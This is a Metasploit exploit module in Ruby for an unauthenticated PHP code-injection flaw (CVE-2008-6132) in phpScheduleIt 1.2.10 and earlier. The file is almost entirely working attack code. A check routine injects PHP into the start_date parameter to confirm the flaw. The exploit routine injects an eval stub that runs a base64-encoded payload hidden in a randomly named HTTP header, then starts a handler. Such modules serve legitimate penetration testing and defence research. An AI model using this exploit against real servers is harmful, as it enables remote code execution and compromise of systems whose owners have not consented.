##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection',
      'Description'    => %q{
          This module exploits an arbitrary PHP code execution flaw in the phpScheduleIt
        software. This vulnerability is only exploitable when the magic_quotes_gpc PHP
        option is 'off'. Authentication is not required to exploit the bug.

        Version 1.2.10 and earlier of phpScheduleIt are affected.
      },
      'Author'         =>
        [
          'EgiX',        # Vulnerability Discovery and Exploit
          'juan vazquez' # Metasploit module
        ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          ['CVE', '2008-6132'],
          ['OSVDB', '48797'],
          ['BID', '31520'],
          ['EDB', '6646'],
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          # max header length for Apache,
          # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
          'Space'       => 8190,
          'DisableNops' => true,
          'Keys'        => ['php'],
        },
      'Targets'        => [ ['Automatic', { }] ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Oct 1 2008'))

    register_options(
      [
        OptString.new('URI', [ true,  "The full URI path to phpScheduleIt", '/phpscheduleit']),
      ], self.class)
  end

  def check
    signature = rand_text_alpha(rand(10)+10)
    stub = "1').${print('#{signature}')}.${die};#"
    my_payload = "btnSubmit=1&start_date=#{stub}"

    uri = normalize_uri(datastore['URI'])
    uri << '/' if uri[-1,1] != '/'

    vprint_status("Checking uri #{uri}")

    response = send_request_cgi({
      'method' => "POST",
      'global' => true,
      'uri' => uri,
      'headers' => {
          'Referer' => uri,
        },
      'data' => "#{my_payload}"
    }, 25)

    if response.code == 200 and response.body =~ /#{signature}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
    stub = "1').${error_reporting(0)}.${eval(base64_decode($_SERVER[HTTP_#{headername.gsub("-", "_")}]))};#"
    my_payload = "btnSubmit=1&start_date=#{stub}"

    uri = normalize_uri(datastore['URI'])
    uri << '/' if uri[-1,1] != '/'

    print_status("Sending request for: #{uri}")
    print_status("Payload embedded in header: #{headername}")

    response = send_request_cgi({
      'method' => "POST",
      'global' => true,
      'uri' => uri,
      'headers' => {
          headername  => Rex::Text.encode_base64(payload.encoded),
          'Referer'   => uri
        },
      'data' => "#{my_payload}"
    }, 25)

    if response and response.code != 200
      print_error("Server returned a non-200 status code: (#{response.code})")
    end

    handler
  end
end
